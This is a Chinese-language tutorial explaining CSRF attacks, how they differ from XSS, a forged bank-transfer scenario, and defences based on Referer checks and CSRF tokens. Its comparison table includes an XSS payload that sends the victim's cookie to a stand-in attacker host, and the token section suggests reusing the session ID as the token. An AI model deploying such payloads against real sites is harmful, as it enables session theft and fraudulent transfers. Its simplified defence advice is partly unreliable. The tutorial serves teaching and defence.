目錄

什么是CSRF

CSRF與XSS的區(qū)別

CSRF是怎么攻擊的

攻擊原理

如何防范

1.驗(yàn)證請(qǐng)求來(lái)源，通過(guò)請(qǐng)求頭的Referer或者Origin字段來(lái)判斷來(lái)源。

2.生成隨機(jī)的token，在請(qǐng)求的時(shí)候帶上，在服務(wù)端驗(yàn)證token。

---

什么是CSRF

CSRF（Cross-site request forgery）跨站請(qǐng)求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫(xiě)為CSRF或者XSRF，是一種對(duì)網(wǎng)站的惡意利用。盡管聽(tīng)起來(lái)像跨站腳本（XSS），但它與XSS非常不同，XSS利用站點(diǎn)內(nèi)的信任用戶，而CSRF則通過(guò)偽裝來(lái)自受信任用戶的請(qǐng)求來(lái)利用受信任的網(wǎng)站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對(duì)其進(jìn)行防范的資源也相當(dāng)稀少）和難以防范，所以被認(rèn)為比XSS更具危險(xiǎn)性。

上面這一段是來(lái)自百度百科的一段話，這里我們需要注意兩個(gè)點(diǎn)，一個(gè)是跨站，所謂的跨站，是指不是來(lái)自同一個(gè)站點(diǎn)的攻擊，并不是指跨域，即使你的站點(diǎn)沒(méi)有開(kāi)啟跨域請(qǐng)求，依然有可能受到CSRF攻擊。另一個(gè)是偽造，說(shuō)的正是CSRF的攻擊特點(diǎn)：偽造真實(shí)用戶請(qǐng)求，讓服務(wù)端認(rèn)為是合理的請(qǐng)求，這正是我們要防范的地方。

通俗易懂：網(wǎng)站對(duì)用戶瀏覽器的信任

CSRF與XSS的區(qū)別

從漏洞存在的位置上（CSRF存在于所有請(qǐng)求-響應(yīng)模式的功能上，XSS存在于將用戶輸入回顯前端web頁(yè)面的位置上），從攻擊效果上（CSRF主要是執(zhí)行網(wǎng)站自身已有功能，XSS主要是用于獲取Cookie）都有區(qū)別。

但對(duì)于初學(xué)者最直接的還是利用角度。當(dāng)時(shí)面試說(shuō)的是CSRF是利用B網(wǎng)站攻擊A網(wǎng)站，XSS（反射型）是將A網(wǎng)站的Cookie發(fā)到B網(wǎng)站，這理解是沒(méi)錯(cuò)的。這里再舉個(gè)例子更具象化地說(shuō)明：

攻擊	攻擊鏈接示例	說(shuō)明
CSRF	http://www.hack.com/csrf_page（頁(yè)面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“）	發(fā)送的是hack網(wǎng)站的頁(yè)面，目標(biāo)是bank網(wǎng)站頁(yè)面
XSS	http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'	發(fā)送的是bank網(wǎng)站的頁(yè)面，目標(biāo)是hack網(wǎng)站頁(yè)面

CSRF是怎么攻擊的

這里舉一個(gè)例子：

1.用戶小明登錄了某銀行網(wǎng)站A。

2.小明向好友轉(zhuǎn)了1000塊錢(qián)，假設(shè)轉(zhuǎn)錢(qián)的請(qǐng)求是：http://xxx.com/transfer?money=1000&to=123456 其中money為金錢(qián)數(shù)額，to為要轉(zhuǎn)向的人的賬戶id，這里是小明好友的賬戶id。

3.小明在保持銀行賬戶還在登錄狀態(tài)的情況下，打開(kāi)了惡意網(wǎng)站B（具體為什么打開(kāi)，可能網(wǎng)站B有一些比較吸引人的地方...）。

4.網(wǎng)站B在被訪問(wèn)的時(shí)候，頁(yè)面腳本立即發(fā)送一個(gè)預(yù)先設(shè)置好的請(qǐng)求：http://xxx.com/transfer?money=1000&to=654321 這時(shí)就會(huì)用小明身份向賬戶654321轉(zhuǎn)1000塊錢(qián)，小明莫名其妙就少了1000塊錢(qián)。

攻擊原理

cookie是罪魁禍?zhǔn)?#xff0c;我們知道cookie保存在瀏覽器的時(shí)候，只有本網(wǎng)站可以訪問(wèn)到，第三發(fā)網(wǎng)站不訪問(wèn)不了的，我們也沒(méi)有辦法訪問(wèn)其他網(wǎng)站的cookie的，這在一定程度上保證了cookie的安全性。

我們?cè)跒g覽器上發(fā)送HTTP請(qǐng)求的時(shí)候，瀏覽器會(huì)把該域名下的cookie帶上，一并發(fā)送到服務(wù)器。那么問(wèn)題就來(lái)了，瀏覽器并不管當(dāng)前發(fā)送請(qǐng)求的是哪個(gè)網(wǎng)站，是在哪個(gè)頁(yè)面上發(fā)送的請(qǐng)求，只要你請(qǐng)求的域名在瀏覽器里保存有cookie信息，瀏覽器都會(huì)一并給你帶上。

下面我們來(lái)看看，瀏覽器是怎么樣帶上cookie的，我們先登錄百度，然后在百度上搜索關(guān)鍵字“csrf”，看到瀏覽器發(fā)送了一個(gè)搜索相關(guān)的請(qǐng)求，并且?guī)狭薱ookie信息，如下圖。

這是請(qǐng)求到的結(jié)果數(shù)據(jù)：

接下里，我們把剛剛那個(gè)請(qǐng)求復(fù)制下來(lái)，然后我們?cè)诒镜貑?dòng)一個(gè)服務(wù)，設(shè)置一個(gè)頁(yè)面，這個(gè)頁(yè)面在被訪問(wèn)的時(shí)候，會(huì)發(fā)送剛剛我們復(fù)制下來(lái)的搜索“csrf”的請(qǐng)求，然后我們打開(kāi)這個(gè)頁(yè)面，可以看到請(qǐng)求成功的發(fā)送了，并且還帶上了我們?cè)诎俣人阉鲿r(shí)候的一模一樣的cookie信息，返回的內(nèi)容也一樣，如下圖：

我們?cè)賮?lái)看看小明的案例，下圖是小明案例的整個(gè)CSRF攻擊的過(guò)程：

攻擊的條件有兩個(gè)：

1.小明處于登錄狀態(tài)

2.小明訪問(wèn)了惡意網(wǎng)站B

小明在登錄了銀行網(wǎng)站A之后，網(wǎng)站A會(huì)在瀏覽器寫(xiě)入cookie信息，以后的每次請(qǐng)求，都會(huì)帶上這些cookie信息，來(lái)證明小明的身份。瀏覽器第一次發(fā)送的轉(zhuǎn)賬請(qǐng)求是小明親自操作的，是合法的行為，而第二次發(fā)送的轉(zhuǎn)賬請(qǐng)求，是惡意網(wǎng)站發(fā)送的，是非法的行為，但服務(wù)器一直都認(rèn)為是小明本人操作的，只是轉(zhuǎn)賬的對(duì)象不一樣，都認(rèn)為是合法行為，所以兩次轉(zhuǎn)賬都成功了。

如何防范

知道了csef的攻擊原理后，就可以做防范措施了。防范的原理很簡(jiǎn)單，只要不單單驗(yàn)證cookie信息來(lái)確認(rèn)身份和合法性就可以防范了。目前的防范思路主要有兩種:

1.驗(yàn)證請(qǐng)求來(lái)源，通過(guò)請(qǐng)求頭的Referer或者Origin字段來(lái)判斷來(lái)源。

Referer標(biāo)識(shí)當(dāng)前請(qǐng)求的來(lái)源頁(yè)面，瀏覽器訪問(wèn)時(shí)除了自動(dòng)帶上Cookie還會(huì)自動(dòng)帶上Referer，所以服務(wù)端可以檢測(cè)Referer頭是否本網(wǎng)站頁(yè)面來(lái)決定是否響應(yīng)請(qǐng)求。

Referer是瀏覽器自動(dòng)帶上的，基于認(rèn)為瀏覽器沒(méi)有相關(guān)漏洞的前提下，我們可以認(rèn)為攻擊者是沒(méi)法偽造Referer頭的，也就是檢測(cè)Referer頭的方法是可靠的。

但該方式有時(shí)會(huì)不受認(rèn)可，一是因?yàn)闉g覽器是可以設(shè)置禁止發(fā)送Referer頭的，如果使用該方式那么禁止Referer頭的瀏覽將無(wú)法正常使用，這可能會(huì)降低用戶使用體驗(yàn)。二是因?yàn)橛捎谝苿?dòng)端的崛起當(dāng)下流行前后端分離app和web共用一套后端代碼，但app是不會(huì)自動(dòng)帶Referer頭的，如果使用該方式app端不好處理。

2.生成隨機(jī)的token，在請(qǐng)求的時(shí)候帶上，在服務(wù)端驗(yàn)證token。

token就是服務(wù)端返回給客戶端類似sessionid那樣一長(zhǎng)串的類值（長(zhǎng)是為了防暴力猜解）。csrf依賴于瀏覽器該問(wèn)鏈接時(shí)自動(dòng)對(duì)應(yīng)網(wǎng)站的cookie帶上，token不放cookie（一般form表單加個(gè)hidden屬性的input標(biāo)簽來(lái)存放）csrf就沒(méi)法獲取token，這樣我們就可以通過(guò)檢測(cè)發(fā)送過(guò)來(lái)的數(shù)據(jù)包中是否有正確的token值來(lái)決定是否響應(yīng)請(qǐng)求。

在講清token防御的原理后，我們?cè)賮?lái)講token的設(shè)計(jì)，因?yàn)閠oken方式給人的感覺(jué)很復(fù)雜令人望而生畏。

我們首先明確一個(gè)問(wèn)題，就是能夠防止csrf攻擊的token，并不需要每次請(qǐng)求都不一樣，在用戶登錄后到退出前的這整個(gè)過(guò)程中的所有請(qǐng)求token完全可以是一樣。因?yàn)?#xff08;在基于沒(méi)有其他漏洞會(huì)泄漏本次會(huì)話的token的設(shè)想下）黑客是無(wú)法獲取用戶的tokne，所以又何必每個(gè)請(qǐng)求都要生成一個(gè)新的token呢。（token每次請(qǐng)求都要不一樣的想法是受防重放攻擊的影響）只考濾防csrf不考濾防重放的情況下，token設(shè)計(jì)就簡(jiǎn)單多了。

使用sessionid作為token設(shè)計(jì)：在csrf中cookie是瀏覽器自己帶上的，本質(zhì)而言用戶的sessionid并未丟失（也就是攻擊者并不能知道sessionid是多少），基于此我們完全可以不用另傳一個(gè)值只需直接將sessionid作為token即可（或者也可以做些運(yùn)算比如取sessionid的某些值做個(gè)md5來(lái)做為token，意思都差不多）。判斷代碼類似 if session["id"] == $_POST["token"]

與sessionid同時(shí)返回的token設(shè)計(jì)：在生成sessionid的同時(shí)生成一個(gè)token（服務(wù)端token可以存于session變量中）返回給客戶端，客戶端保存該token每次請(qǐng)求時(shí)都在form表單中提交該值。判斷代碼類似if session["token"] == $_POST["token"]

總結(jié)

以上是生活随笔為你收集整理的CSRF攻击原理与防御方法的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。